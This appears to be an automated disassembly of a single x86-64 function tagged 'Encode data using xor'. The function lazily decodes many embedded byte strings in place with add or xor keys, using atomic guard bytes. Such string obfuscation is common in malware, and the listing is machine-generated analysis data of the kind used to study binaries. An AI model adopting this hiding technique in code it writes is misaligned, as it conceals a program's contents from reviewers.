Function at 0x1401cb410
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
sub rsp, 0x38
test ecx, ecx
je 0x1401cb469
test edx, edx
je 0x1401cb4b9
test r8d, r8d
je 0x1401cb4f9
test r9d, r9d
je 0x1401cb579
movzx eax, byte [0x14047bd05]
cmp al, 0xa8
je 0x1401cb729
mov cl, 0xa1
nop word cs:[rax + rax]
mov al, 0x8f
lock cmpxchg byte [0x14047bd05], cl
je 0x1401cb6f9
cmp al, 0xa8
jne 0x1401cb450
jmp 0x1401cb729
test edx, edx
je 0x1401cb539
test r8d, r8d
je 0x1401cb5a9
test r9d, r9d
je 0x1401cb629
movzx eax, byte [0x14047c311]
cmp al, 0x9f
je 0x1401cb7f9
mov cl, 0xfb
nop word cs:[rax + rax]
mov al, 0x8f
lock cmpxchg byte [0x14047c311], cl
je 0x1401cb7c9
cmp al, 0x9f
jne 0x1401cb4a0
jmp 0x1401cb7f9
test r8d, r8d
je 0x1401cb5e9
test r9d, r9d
je 0x1401cb659
movzx eax, byte [0x14047bdc0]
cmp al, 0x6d
je 0x1401cb839
mov cl, 0x28
nop dword [rax]
mov al, 0xb2
lock cmpxchg byte [0x14047bdc0], cl
je 0x1401cb805
cmp al, 0x6d
jne 0x1401cb4e0
jmp 0x1401cb839
test r9d, r9d
je 0x1401cb689
movzx eax, byte [0x14047c023]
cmp al, 0xe5
je 0x1401cb879
mov cl, 0xc8
nop word cs:[rax + rax]
mov al, 0xf8
lock cmpxchg byte [0x14047c023], cl
je 0x1401cb845
cmp al, 0xe5
jne 0x1401cb520
jmp 0x1401cb879
test r8d, r8d
je 0x1401cb6b9
test r9d, r9d
je 0x1401cb735
movzx eax, byte [0x14047c246]
cmp al, 0x5e
je 0x1401cb919
mov cl, 0xae
nop dword [rax]
mov al, 0x67
lock cmpxchg byte [0x14047c246], cl
je 0x1401cb8ef
cmp al, 0x5e
jne 0x1401cb560
jmp 0x1401cb919
movzx eax, byte [0x14047c3f4]
cmp al, 0x4a
je 0x1401cb8b9
mov cl, pe_nt_image_headers64
nop word [rax + rax]
mov al, 0x49
lock cmpxchg byte [0x14047c3f4], cl
je 0x1401cb885
cmp al, 0x4a
jne 0x1401cb590
jmp 0x1401cb8b9
test r9d, r9d
je 0x1401cb769
movzx eax, byte [0x14047bf9c]
cmp al, 0x47
je 0x1401cb9b9
mov cl, 0xa5
nop word cs:[rax + rax]
mov al, 0x98
lock cmpxchg byte [0x14047bf9c], cl
je 0x1401cb925
cmp al, 0x47
jne 0x1401cb5d0
jmp 0x1401cb9b9
test r9d, r9d
je 0x1401cb799
movzx eax, byte [0x14047c55a]
cmp al, 0x9d
je 0x1401cb9f9
mov cl, 0x2e
nop word cs:[rax + rax]
mov al, 0x97
lock cmpxchg byte [0x14047c55a], cl
je 0x1401cb9c5
cmp al, 0x9d
jne 0x1401cb610
jmp 0x1401cb9f9
movzx eax, byte [0x14047c32d]
cmp al, 0x21
je 0x1401cba39
mov cl, 0xce
nop word [rax + rax]
mov al, 0xa7
lock cmpxchg byte [0x14047c32d], cl
je 0x1401cba05
cmp al, 0x21
jne 0x1401cb640
jmp 0x1401cba39
movzx eax, byte [0x14047c526]
cmp al, 0xef
je 0x1401cba79
mov cl, 0x14
nop word [rax + rax]
mov al, 0x6e
lock cmpxchg byte [0x14047c526], cl
je 0x1401cba45
cmp al, 0xef
jne 0x1401cb670
jmp 0x1401cba79
movzx eax, byte [0x14047c71a]
cmp al, 0xce
je 0x1401cbab9
mov cl, 0x56
nop word [rax + rax]
mov al, 0x21
lock cmpxchg byte [0x14047c71a], cl
je 0x1401cba85
cmp al, 0xce
jne 0x1401cb6a0
jmp 0x1401cbab9
test r9d, r9d
je 0x1401cb8c5
movzx eax, byte [0x14047be2f]
cmp al, 0x48
je 0x1401cbaf9
mov cl, 0x5a
nop word cs:[rax + rax]
mov al, 0x51
lock cmpxchg byte [0x14047be2f], cl
je 0x1401cbac5
cmp al, 0x48
jne 0x1401cb6e0
jmp 0x1401cbaf9
xor eax, eax
lea rcx, [0x14047bcf0]
lea rdx, [0x140395ac0]
nop dword [rax]
movzx r8d, byte [rax + rdx]
add byte [rax + rcx], r8b
inc rax
cmp eax, 0x15
jl 0x1401cb710
mov al, 0xa8
xchg byte [0x14047bd05], al
lea rax, [0x14047bcf0]
jmp 0x1401cbbf2
movzx eax, byte [0x14047c7c0]
cmp al, 0xe7
je 0x1401cbb39
mov cl, 0x8d
nop word cs:[rax + rax]
mov al, 0xa8
lock cmpxchg byte [0x14047c7c0], cl
je 0x1401cbb05
cmp al, 0xe7
jne 0x1401cb750
jmp 0x1401cbb39
movzx eax, byte [0x14047c45d]
cmp al, 0x65
je 0x1401cbb79
mov cl, 0xed
nop word [rax + rax]
mov al, 0xf4
lock cmpxchg byte [0x14047c45d], cl
je 0x1401cbb45
cmp al, 0x65
jne 0x1401cb780
jmp 0x1401cbb79
movzx eax, byte [0x14047c370]
cmp al, 4
je 0x1401cbbb9
mov cl, 0x38
nop word [rax + rax]
mov al, 0x9e
lock cmpxchg byte [0x14047c370], cl
je 0x1401cbb82
cmp al, 4
jne 0x1401cb7b0
jmp 0x1401cbbb9
xor eax, eax
lea rcx, [0x14047c300]
lea rdx, [0x140396280]
nop dword [rax]
movzx r8d, byte [rax + rdx]
add byte [rax + rcx], r8b
inc rax
cmp eax, 0x11
jl 0x1401cb7e0
mov al, 0x9f
xchg byte [0x14047c311], al
lea rax, [0x14047c300]
jmp 0x1401cbbf2
xor eax, eax
lea rcx, [0x14047bdb0]
lea rdx, [0x140395b70]
nop word cs:[rax + rax]
movzx r8d, byte [rax + rdx]
add byte [rax + rcx], r8b
inc rax
cmp eax, 0x10
jl 0x1401cb820
mov al, 0x6d
xchg byte [0x14047bdc0], al
lea rax, [0x14047bdb0]
jmp 0x1401cbbf2
xor eax, eax
lea rcx, [0x14047c000]
lea rdx, [0x140395f90]
nop word cs:[rax + rax]
movzx r8d, byte [rax + rdx]
xor byte [rax + rcx], r8b
inc rax
cmp eax, 0x23
jl 0x1401cb860
mov al, 0xe5
xchg byte [0x14047c023], al
lea rax, [0x14047c000]
jmp 0x1401cbbf2
xor eax, eax
lea rcx, [0x14047c3e0]
lea rdx, [0x140396350]
nop word cs:[rax + rax]
movzx r8d, byte [rax + rdx]
xor byte [rax + rcx], r8b
inc rax
cmp eax, 0x14
jl 0x1401cb8a0
mov al, 0x4a
xchg byte [0x14047c3f4], al
lea rax, [0x14047c3e0]
jmp 0x1401cbbf2
movzx eax, byte [0x14047bcc5]
cmp al, 0x59
je 0x1401cbbeb
mov cl, 0xd5
mov al, 0xf
lock cmpxchg byte [0x14047bcc5], cl
je 0x1401cbbc2
cmp al, 0x59
jne 0x1401cb8d6
jmp 0x1401cbbeb
xor eax, eax
lea rcx, [0x14047c220]
lea rdx, [0x1403961a0]
nop
movzx r8d, byte [rax + rdx]
xor byte [rax + rcx], r8b
inc rax
cmp eax, 0x26
jl 0x1401cb900
mov al, 0x5e
xchg byte [0x14047c246], al
lea rax, [0x14047c220]
jmp 0x1401cbbf2
cmp qword [0x1404bf628], 0
jne 0x1401cb985
mov dword [rsp + 0x28], 0x1f411150
mov qword [rsp + 0x20], 0
xor edi, edi
xor ecx, ecx
xor edx, edx
mov r8d, 0xb
xor r9d, r9d
call fcn.1401ca7b0
mov rsi, rax
mov qword [0x1404bf628], rax
lea rcx, [0x1401ca790]
mov edx, 0x8361c00d
call fcn.1401099f0
lea rax, [0x140395f10]
movzx ecx, byte [rdi + rax]
mov byte [rsi + rdi], cl
inc rdi
cmp edi, 9
jle 0x1401cb976
mov rax, qword [0x1404bf628]
xor ecx, ecx
lea rdx, [0x140395f20]
nop word cs:[rax + rax]
movzx r8d, byte [rcx + rdx]
add byte [rax + rcx], r8b
inc rcx
cmp ecx, 0xa
jl 0x1401cb9a0
mov al, 0x47
xchg byte [0x14047bf9c], al
mov rax, qword [0x1404bf628]
jmp 0x1401cbbf2
xor eax, eax
lea rcx, [0x14047c540]
lea rdx, [0x1403964b0]
nop word cs:[rax + rax]
movzx r8d, byte [rax + rdx]
add byte [rax + rcx], r8b
inc rax
cmp eax, 0x1a
jl 0x1401cb9e0
mov al, 0x9d
xchg byte [0x14047c55a], al
lea rax, [0x14047c540]
jmp 0x1401cbbf2
xor eax, eax
lea rcx, [0x14047c320]
lea rdx, [0x1403962a0]
nop word cs:[rax + rax]
movzx r8d, byte [rax + rdx]
add byte [rax + rcx], r8b
inc rax
cmp eax, 0xd
jl 0x1401cba20
mov al, 0x21
xchg byte [0x14047c32d], al
lea rax, [0x14047c320]
jmp 0x1401cbbf2
xor eax, eax
lea rcx, [0x14047c520]
lea rdx, [0x140396490]
nop word cs:[rax + rax]
movzx r8d, byte [rax + rdx]
add byte [rax + rcx], r8b
inc rax
cmp eax, 6
jl 0x1401cba60
mov al, 0xef
xchg byte [0x14047c526], al
lea rax, [0x14047c520]
jmp 0x1401cbbf2
xor eax, eax
lea rcx, [0x14047c710]
lea rdx, [0x140396680]
nop word cs:[rax + rax]
movzx r8d, byte [rax + rdx]
xor byte [rax + rcx], r8b
inc rax
cmp eax, 0xa
jl 0x1401cbaa0
mov al, 0xce
xchg byte [0x14047c71a], al
lea rax, [0x14047c710]
jmp 0x1401cbbf2
xor eax, eax
lea rcx, [0x14047be20]
lea rdx, [0x140395c10]
nop word cs:[rax + rax]
movzx r8d, byte [rax + rdx]
add byte [rax + rcx], r8b
inc rax
cmp eax, 0xf
jl 0x1401cbae0
mov al, 0x48
xchg byte [0x14047be2f], al
lea rax, [0x14047be20]
jmp 0x1401cbbf2
xor eax, eax
lea rcx, [0x14047c7b0]
lea rdx, [0x140396710]
nop word cs:[rax + rax]
movzx r8d, byte [rax + rdx]
xor byte [rax + rcx], r8b
inc rax
cmp eax, 0x10
jl 0x1401cbb20
mov al, 0xe7
xchg byte [0x14047c7c0], al
lea rax, [0x14047c7b0]
jmp 0x1401cbbf2
xor eax, eax
lea rcx, [0x14047c450]
lea rdx, [0x1403963c0]
nop word cs:[rax + rax]
movzx r8d, byte [rax + rdx]
add byte [rax + rcx], r8b
inc rax
cmp eax, 0xd
jl 0x1401cbb60
mov al, 0x65
xchg byte [0x14047c45d], al
lea rax, [0x14047c450]
jmp 0x1401cbbf2
xor eax, eax
lea rcx, [0x14047c360]
lea rdx, [0x1403962e0]
nop word cs:[rax + rax]
movzx r8d, byte [rax + rdx]
xor byte [rax + rcx], r8b
inc rax
cmp eax, 0x10
jl 0x1401cbba0
mov al, 4
xchg byte [0x14047c370], al
lea rax, [0x14047c360]
jmp 0x1401cbbf2
xor eax, eax
lea rcx, [0x14047bcb0]
lea rdx, [0x140395a80]
movzx r8d, byte [rax + rdx]
add byte [rax + rcx], r8b
inc rax
cmp eax, 0x15
jl 0x1401cbbd2
mov al, 0x59
xchg byte [0x14047bcc5], al
lea rax, [0x14047bcb0]
add rsp, 0x38
pop rdi
pop rsi
ret